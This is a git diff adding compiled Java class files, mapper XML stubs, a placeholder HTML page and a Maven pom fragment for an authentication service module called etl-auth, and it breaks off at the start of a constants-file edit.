zyUczX48J#ChZG7g1G-!a;*Xi~2m3cFJYNS^7`V429xEu^h&f z`H^Pky-)M?{qYIl4p$YH73vC&LcP^H%Q1OTFzY=Zm^SN$4k=LYypZ8>6i<&F<$zOs&kM#lOJbvrN7}eS!mD_rL(tB)53NG8b;^ literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PathService.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PathService.class new file mode 100644 index 0000000000000000000000000000000000000000..88233ecb5a7d6062d1f1de5079f5c2f8219e424d GIT binary patch literal 321 zcmbVIOA5j;5S{p|)s1&>?<{mzaVZFbLQjy^K_g8f`4qjH3lHF-#H5OdOBXZq7VpR0 zAJ-cI%wU*6KY=uX0fRIbd&QkM#Nf0(@|t7C)gCv+kxG}XOD(bBT8f?aC@%$f!k#K` zkLn09y*1k`DE7kbT2p2H$#1^@s6 literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PermissionService.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PermissionService.class new file mode 100644 index 0000000000000000000000000000000000000000..b26615f70b9a03a3d0996edb770e9759fd52cc42 GIT binary patch literal 466 zcmbVJO-sW-5S^*DvDJ#F{sX~Y+=E^urQk&n0*bkL+ayDrlI+&~DE6;;@CW##q?<(A zLJxw6f%(|?=DpePpU*D*fFm(?&+i*eoNn-FW~&xY*sSGl6jP4;KRjgkFfF@K4xB=)-ZS2BGRf6r#&cVAys> E8~pi_D*ylh literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/UserManageService.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/UserManageService.class new file mode 100644 index 0000000000000000000000000000000000000000..41fc9a076bcb1eb1eeeec8759e76a9660197dad4 GIT binary patch literal 707 zcmb_a!Ab)$5S`T8wY6%!_zmsF0reoX2qFl=7QxjI$Zp4N>TXi9NwL4ygCF2WiL-58 ziXy0Z2+SmJX5M>~*SEzB0Gz>L0Q&(P1ke%C^aa__q)H1IcEiNvD7_ma2f5Km+9@~3 z2L@dxiSgR?dn-_;Vi`-+GBE|pslwchD8tza-cjK**XQ1mO0{&}k^uRiy$9h$&Ln11 zr+6DrC~^G@p4YbYXsH0_oY2E)<*3rq5JDcoVIH!B5sx8qtc3w+UUVjGaF!mp7DJ zrnK&JT)HQqS1r37M7Emur9eREv*7|x%kp0;Xb2EcL2cA>pQ?7ai6`r_LF literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PathServiceImpl.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PathServiceImpl.class new file mode 100644 index 0000000000000000000000000000000000000000..e8c95683b420d437f923e3b6339e14bae761a2f4 GIT binary patch literal 888 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 Pii@b=`qp4kJ_Gy&<}M2R literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/util/SecurityUtils.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/util/SecurityUtils.class new file mode 100644 index 0000000000000000000000000000000000000000..8bb5d1a030eb6f5f745ab833210dd8ba2187f30b GIT binary patch literal 1126 zcma)5TTc@~6#k~AY`ZK4tAJWB+@VDoFQ_CnCQ2kE)=Mm6;@hx{?Z9@o&Q1yVPxM#l z3!)GH0DqM6>}*XSHj$S(mp$j3Z_ao2*Y6)c0jyxvg@@}7Ci9pY!Zc=F3}M#A9Om;_ zaIuI=9@WGyIk@5ACd1%E6)N+HA-h=FVi;J9b|k|{U4`;Rx4kX(rq~WBQ>sV42)2Y) zN!&{gn3jqeX6t^`=Avs_JeGQ2YTh*};0@__wK9iqD2Qte`KC0R(Vh$$YK!$Y&IXeByuy95ghMY-nF7*Q}Y1s*c zFD<)QTE15Y4D%_+Q+M~JGu$x3-+L}Py{Wj3sH=UsuI$`SO<_5CwTEF8iF-0MX#!5R z9ff4V*oe@?+|pS48!`+(rqM=PeH2DTp@U@)9AyueQFd_4!)@H5p*)d7OFik}u1BkI zkAZgKJ{~Yk|6d)3(S%w0)|cD6(l-oqXOf7aK)P;7u_HD0M7qgENBAwtgQ(dg!4kW& z+gk}MA+3y~;-~G7IbkB{0uHlNt^hsGA)L&lij@qN&38= zqU%b>^pw>;W&bWhA9XQBe~?E%7mx)hfg+tF6mhaNV&tmdz`l}`!6==BHd(|u^1ZYG zC7h?IfD0I-Owzng)fuwIYAO320~yqpj*3k_VcwJf>i JD!Cb4`vYKK7s&ts literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/util/UserRealm.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/util/UserRealm.class new file mode 100644 index 0000000000000000000000000000000000000000..4d29926afaec96dfd6f6ef5c50da5759da63487e GIT binary patch literal 3559 zcmbtXS#uOs7(E?k(n+V;5+F=K2#At|ga%o}gvAgEAV~FG>5^mGqBJqbZY z6c^l4altB|^%0j!SS*V-tNa}nmQVfz_1x~sWHK{RN~z-B>3hHXedm1Jz4_(OJ3j%~ zi5m(U5tlKjpaO9PCoxomQ+P(ku!2gQ7RzUF^!uOrWZ`y(oPl&Q$uVZ z>-bj69I`Ujh;4Q{j_d2bF|wX#I=)B-37h78%&bYdj>av^p9;L(X&5fEgNN$# zeiqwCfuo1ZI9eb!0?*A!54z{f1>IaMEMh49EEE-~kkDGna$$oKqQ0=gEwLf8bX=d%HCuO*THF`qApAb*>FKm^;=aI%Bf6Wi5^h#YO^wh& znY5kFXol;V9Grv|)RcBUYqDrgi1Ac-oSGuS5~qxA`(>jT4f|<+aopF9bG>>xs91I@89qCnj4b;d+oS~L&;`Rx2c%_8(3^V= zJJ%AFkVUs88o(0a{-B(<3LmT3j3x$4^tyS)D`Is~Tc8SLOscqmDH#`4yoi_R#C#82 zFs)U*j7utB!DSU2u#rh#9OQ#p%T9>M)c$t;oBLO1?tgXV_Z!!Ky>;i0AHP)bDqd4@ z1(#&JuHp?`W@eT}Z3MMcl3^;|#3czG0_cBC9Tjiks)~oPNyghM-od*v-dAxAA4$*_ zz%u8-xxy0Vrs8AajZeg|8P_GO%X^Rk61T|w<}2e<6`$dA37bnSd7?Y#J146ph_8f} z63GP%SHiO5Xe^W!#myt1c;rxGFmAH_vA><c#h5S;1*&LRZ(idwN2ufFOhFCb$TKZe)OAO%F1MTRY_RcRG=*vvpwLc^R)Lw^N?GpB z#n~m2tn3?wylDBj!(P$d^x(~Hw!4H+vB58PE6@giS8{%obA&UyKF4N$ zX`Cg_(UuuV-||NVS~v<}pblF&s-XZ{(Z;U`wg!j9;jgg>QO=!rQ87G&MZLEW>1(@< zsDyi{Y>%|YBGZtkQS}|F??RzSO|3eO#ku9h(^zsFODoWNlS)Fv4Kxj`M-`cfi=v)9 z8rgFXkcR-XGc=e3L(|xX?F3kbC-4|{P>YIPl-fmT^`x>Jj}vkPd$?aA7)xttL8hj& zTkc_5Z|gLc_uWM;vDLLlVv*VvZPQqJs^tf)ibZatz9L`}jYWSZtDEEzi%w&8fV%A# zV(pc8(J&mWiD6BwvSk`;XYi0<6bW3}!aq_#>`^*SA=WzLTuY>_#I~L2b`aT<*pF^< z6bz4q=<*EDq8%M%7{xI5Vjo#37^M6GGOWWfp6#TiR%$&+ZBgo3jV?SzmWQZK1TU28 zrqp4stbz0wjaJGyBIBrxr)3>E`9mjk40I|OTyO0R8 literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/mapper/PathMapper.xml b/etl-auth/etl-auth-server/target/classes/mapper/PathMapper.xml new file mode 100644 index 0000000..5829ce3 --- /dev/null +++ b/etl-auth/etl-auth-server/target/classes/mapper/PathMapper.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/etl-auth/etl-auth-server/target/classes/mapper/PermissionMapper.xml b/etl-auth/etl-auth-server/target/classes/mapper/PermissionMapper.xml new file mode 100644 index 0000000..c97efca --- /dev/null +++ b/etl-auth/etl-auth-server/target/classes/mapper/PermissionMapper.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/etl-auth/etl-auth-server/target/classes/mapper/UserMangeMapper.xml b/etl-auth/etl-auth-server/target/classes/mapper/UserMangeMapper.xml new file mode 100644 index 0000000..f74141e --- /dev/null +++ b/etl-auth/etl-auth-server/target/classes/mapper/UserMangeMapper.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/etl-auth/etl-auth-server/target/classes/static/index.html b/etl-auth/etl-auth-server/target/classes/static/index.html new file mode 100644 index 0000000..f67da0a --- /dev/null +++ b/etl-auth/etl-auth-server/target/classes/static/index.html @@ -0,0 +1,6 @@ + + +hello word!!! +this is a html page + + diff --git a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/PathPermission.class b/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/PathPermission.class new file mode 100644 index 0000000000000000000000000000000000000000..47b2a17e358f235eda6b99499c0fbf63b1062470 GIT binary patch literal 4351 zcmbVP>vJ1d6+bKOYFF|~wq-l1nlyF6O>J4K8Yqv-Ng-)dVz6W5q#+HDWGyY$CVEv` zrI=Tnq(Dhq5};q&DP)*3q#x3u8L%_cQVPRN8TbJIMC^qBfwuh4y(?=aFVw?KeD>UX ze&^^s@4fl^2XFn6h#sV$M@gqAnKYO*nYc_^OwQ``R1Dv5FM}- z%xUYal`C7-rQCGYwU_M1ltQV6R@HSX_A#gFESBy4)oRVPT&GrTDwLfm)GE0}t5$J} zwN|dOya-9NUT!sW)&?$j)Pml05w^6mR=H&>q`J#>d@@^7pDrE+8rtgq$B)h_l&IT{ ziqmYug-2>dm`VElKH@f<>Jq>cGfpkne9Brv6h3E~x&3u#7HZ}BMh%ACWnj(qUtIXt z%a?Dy{o2~48wy2Bj@_^th0-!aw{QIR)=SsduAg7O_A9thx7?CK5xJ{SU(s$B8cv<_ z0r1+zE4MGavwrE)?RVbCVm)jr&+EZPl`R}Q~cu*%1*hQoRGHdVLe z;Fs?c8Maz(DThi`YSo;LV!F$@dBiclkw@fU5I^79kiRwD<;q5CO+XKIQlzt{NJ|3T zqyB^#PV+f;Naqxf@!%L@N3cU;6OGl?p~Di; zyPXhVU$^y3oNp&8?TN5ro)xhe5Q47u8MFKN5SeJ$Zt`TyGy^+hnKa_mU0)hO7HIc1y^L)}e(Kc99A<+gMPiS!+|Dtr#b z-IGPjwN5sLZIedn9+Spt!lVq7`54A zy|mAyhnaki$>*7zq*DrQ@0`>!RR>y5xo9^`I!!2QvOCgorwGMMbeYLdF=Uz1?n3Uv zFl9zJN{OWo2>J|MA~WhMCpMy)(WV$`Ve@C`6ol#!Bm*6<RZk7H-7iOqX$+D-Rig-Uwz zK77;ogM1PKRClu=3jr#=S&)MOU9efO2Lg1)X2FBPAyglt&%nJLz6!ot`uC)~2_{6J z1&xT!L3#+hDFKwHDXbK37|>qjP_OcEpfVaQKsns2ygg7E4H}@V_A1{QsEo!AP}X{t z?+R4L%mgS$uJt5rG*I~wdel?SBfTL`Z+dctl6nY2j;=e?Jbb>BoHHR)(+PG2+Mr)@fY9sdmFeY!)k(T`@~ z8E!zYM;^kLXHny#_71Xt6t#`uHH6H;<848wq?ynVj2JL;WngNrx^L&eREeA6Wikfl zu97xjo!Te*fd%LWV_@Dg5p5c_6cWkE{yBnJ106vgwJ5TQMUl9AHdqC`F-M3D^< znnr5%=XD`Mzj#`@5bX@E?t*mP3ouNtl0}OMOruw*04_wk=o}RhG*`ETx^ZUp>R5-u8^8eX)AaTj6?#?PE*`bhops#!PxEHQLrkW zHau6m#akvUI6moB!SPwG364)&erDh?>3P<9i@>wqLpvUDwT94u{9>t!mlnUIYWTxT Gs{SA7(^TdF literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/RolesPermission.class b/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/RolesPermission.class new file mode 100644 index 0000000000000000000000000000000000000000..e0a3e5b8168422942bebc064a6d37acd97c888a7 GIT binary patch literal 2923 zcma)7U2hvj6g^|_+G}T%CT>1zT4+l{NgSu*O4E{-&?F5>8ffX)#$Mtrwl~=8 zmOS&s0|M~|5>H6vr4N8;Dp3i+OOf~;fXaWMlruZ)#CB2Xvoe$`q~ga%QsZ*~@liR3JH5D|=4KUUaI?QqdkSmtD{D9JgE* z7@o?xrOcA$mYlp>%am4^xKmvz)~Xq61D9E_=r@^XEd91stTCPDt*&rN@5p^Jzd$s- zwed>}7X><2>`KY0R!QNkn`f9r1MhjS;*^&O9-MOAO!bbn%u_Uwsble|`P&-(PlKCaF))z+gkBO@%Z?W7m{Z zwr6UkCA;FESQ2w{R&mj)I8uRNQS%B8r5o_iZq>X(h8mXKa>l02-fCu!$*Z#)MnYZi;PM@Yt)`ba1c~tqr|GP5&OfMRV4o==*6X5 zcFr3eydogn<_ih7NXYdHc7?Iz`TJ$P8UBiI?)DdXA59nAtpKgdF(0fhDXt*uqkZ19 zavw}vE56ixA%1NeIjcM&Su#H-R8LfXWz z9M0gZK;LHPP$xZ8bBcMpV&Vd(*;!gnGvMUMOuUa}ITTon=>yGTkFieD2PAP?V$j4} zNDFjsW>ICu3$RvJ>@tgKxbXt&rMpG$fEIOW!q@BfsdyY@U+rNd4kIKbguottB{(O! z@=TSBdu{B)v;3mE!G0U(1N?FSAUCM^){R3jxkzO>9%jr8XTe!d{Rr_LjSybs81Wao zFhE;65P(6XI170h99x}3t2k||vM&50{ zcdtSOyycmclmai|<$y#}oX}3=D9Ht0**;Eqr*YH`30dQck2p@wF`nkrq13m~wYx*V zLi-AO`0mgz(5BO=b?E*ljmS)zLslF94Q)y7A-dLJ4kxvBMC%A6s}o{mBS~FiA`g*R zLwizBMjAk|Y?Po_)<{Mr$Ou5uq)`WHcS$JRP!>wwtBUA`yr1GV9OW^3@DYx&R6?vW z2gkV<=2s3UXlXc)bG*ExET?Il#we`_iY(WYw4$hBFUDvYIK`YpFr&sl=!oL=$LNjX zH2)0o7<-f%Ycv^}JtMf)6P#sr=u$q({%OTgFKSud$Cy{X1$Gz}MjWAEgx;4rM^9>F zzU2ElM++3(=p0%@ba)-{n{wUAYH}l~1v`ek2DKH->i!mQz;`l|y1%t=dr?oRgn_7G z%;618kdBU73O7MQarU_Lq#DK{*58}7G>X-SNm{xu+Z{xna6zMNLQpCQ@r3Zr?~q*R zfnEpHF>|_eH|TA!gcIQbSj$_){*E^ zc1+p{4(r(6+6+{^sWvpS(S|NyD#&$}xiseLPTl8EHiT6A9zv<%d)V?6+x^y%QuvM9 z?G9Q4WBC147Eia|K*P+ze=0$y&2Gs|t*^Xeo1PWI3`2!*(Qn|gLC^BX2L1Mb-r+SF literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/UserAccount.class b/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/UserAccount.class new file mode 100644 index 0000000000000000000000000000000000000000..7e2c105d3205c2e18a0437d2f1d8be83ced4886a GIT binary patch literal 3149 zcma)7TW=dx5dMz6H`|*_(SVyY-)R5d)+D$ zFT7On00Lf+kdSyH5~@V0AeBHu@KPlHN7eoaO8L(2I<}K7ie#UiGxN>t%r|q+{{8Q- zzXNy$wIp`oLIN7zm&*ro`A{wwbzDmFX~|_lqH1%RUqc%1-4HtTi2{i!743g#!H^PXjeuA(lfP^=M?REr|K*e?6FeG z^(@bEOI3m4iJV)^ELd*Q$-A{oabOi8=<#b@_dZ&6pas@3amg}mtZe!Ox2yN@%p9&$>K zcSIoG*FVpMjx(Y_$AnX|r)tFoyW*EBQ*(1xVcx1Zvh+}?cuNk`?)8hdYTi!%wtD4Q8otIClfE+Se=5+2yEfm{Xk>d}Z72djqpKmHp=g`+tlX7JtL*oSN6bGN zM$Rgoki{^OC9Ap=w4D7PXRgyT}*^aK{>~2P9ZNF*wIu-pOdG5 z1y#9_BV%ZfPtRda(a@ecLBXz05qF~B#5@j=l*U_vL1Bqjxonp>9>Y=N*)-KHX_1>2 ze0?Gxizjay?@~ZPOcDu!C%Nn5b2l|lRjGX1#xvN%9XSr|DL$X$pY~oF$opo)3pB77 zn+<(vqmr%TI>?u0_!NAq19u>Pq7cInSIt)@FihDD0N6(`D6?r?Tb+MK?A8Y7wn%68 zIl?)<(YZ6yne!3htZa1N9_h@vif~ppI`>36AH-{+bCwLnBtrv(zaSRPSWkcm8Ix=V z-4%EpZ$!n3Z#7OZ1p?XVILcPz1VbY*5* z6WTXW<2MKYfHpZaum;`VQZS~5xMY>#zmQ5Rcd>01=5ShBL!ypIW>rFxSuL$fjCL1Y zt7uEBX{`yA%IXBAvPN2$AR`3nX`=~bW)lRN*Aa^#DIbM_ zFL|y{QA*%zp8eC5k{D+m2hpJ$|DavRTMyBr<8A&7@esQLG4U9YZ|1!kPMDlDIjO2_ zfh=zG(GCVxT`x{$VzM|PFW?}IxIsUi-sR4bL&{;lZM!>1me@3-b8r><@EY1KNqsV_ zNJCl)Erx7mU`l0G-^4EZPDWa-o6M}{o3wQkdrPm~(d{@L=e0OJuA3TYOC)Ix|ybZqQnQqc{y4ya?4 zR#gbonqUp&Mr{bzTfq%{gn=%sk)NxeCs<~k^41>x4ejUdprfmE4claE*3i|pJ&-xr u+q!lHa!ShGfow{-hszpvZoK@OFZ|Jv;~3ucXXict<0L;m=lJKx=lp+rKTXyE literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/enums/PermissionConstants.class b/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/enums/PermissionConstants.class new file mode 100644 index 0000000000000000000000000000000000000000..da08aaa1a96a5d85de0666f6f98f44d42a558fef GIT binary patch literal 703 zcma)(%Wl&^6o&tkCe1XY7s9RO)|M7%S_yAh6@*l|Mp(E>6}ORCSrd2EPO-?01t&YV^Q#e1)HPu{WEhe|NQv*?K^;%*zI8s>s@Sgu}SDm#(@_S2EnDgl1?Jc zxf7PTHs`Mhi*9C$QkrrqlS&CZAuPD#LoW*a@I+vX(6-M7wh7C}-sH#+Lw`Jq>>Yup zgr(Ean?&w``_7BrdmjXz5k#%k^qlL}G&(rq2RnprjsBs)kTCyR8(qF3%^I57RzKRb8Y#z*e)-0LD&o8EOlg6UO1ejnQ@e<(!x1bd8&&- zXXbjxf*0>>MD6)NAi!N^qYvu(BTQGMoIT5}o>HTH7mnnMq<6a|vA4Ve<)GOW;id3kDV$ z`ifb<=Bd00f*sf2TyiXTQ~C^%K3ll5QXHKw6=1s~Wd-lFN&c<(YOh z78uUH8#>Ca$_+cPixru699IctyH3C`-xi=Kg%j}m!cwkZ0)D2u`NEY1Cx8!YG z>pTCilqWPZhPn2Ac3s64(cqTrDEUb7LiE%bI*-_ycnN2y!&B2&Or&tizzq|Fc+0>| z6KP}^&iqq(CbTP2fBN=6dAh&*(f((j9z6MwHV02X_~WN1CbGC?VhOhm+%fSsmKhd@ zrp3_I z=kn{q#09J{n016-zy9*zi*K6l@1H;ZZFiU9@_%|}hTa#d){13msg|Sq6EocWzaIy~ z_{gEr$(Dp)kPkx|9Jw%h=%P7OhjH$&}hbXl}qz|=)NsHv8ibwC!wDr<| z9KaCM6G-+nd7WhY$j0eMBTC-OwBuwM*<)kRz`mtT3}ajMi!no@K+K={M7wr8YyuqgHdhKSKH + + 4.0.0 + + com.bwie + etl-cloud + 1.0-SNAPSHOT + + etl-auth + pom + + etl-auth-common + etl-auth-server + etl-auth-common + + + 1.8 + UTF-8 + UTF-8 + 2.6.13 + 2021.0.5.0 + + diff --git a/etl-common/src/main/java/com/etl/common/constants/TokenConstants.java b/etl-common/src/main/java/com/etl/common/constants/TokenConstants.java index ad6bbce..57d7030 100644 --- a/etl-common/src/main/java/com/etl/common/constants/TokenConstants.java +++ b/etl-common/src/main/java/com/etl/common/constants/TokenConstants.java @@ -21,4 +21,12 @@ public class TokenConstants { * token标识 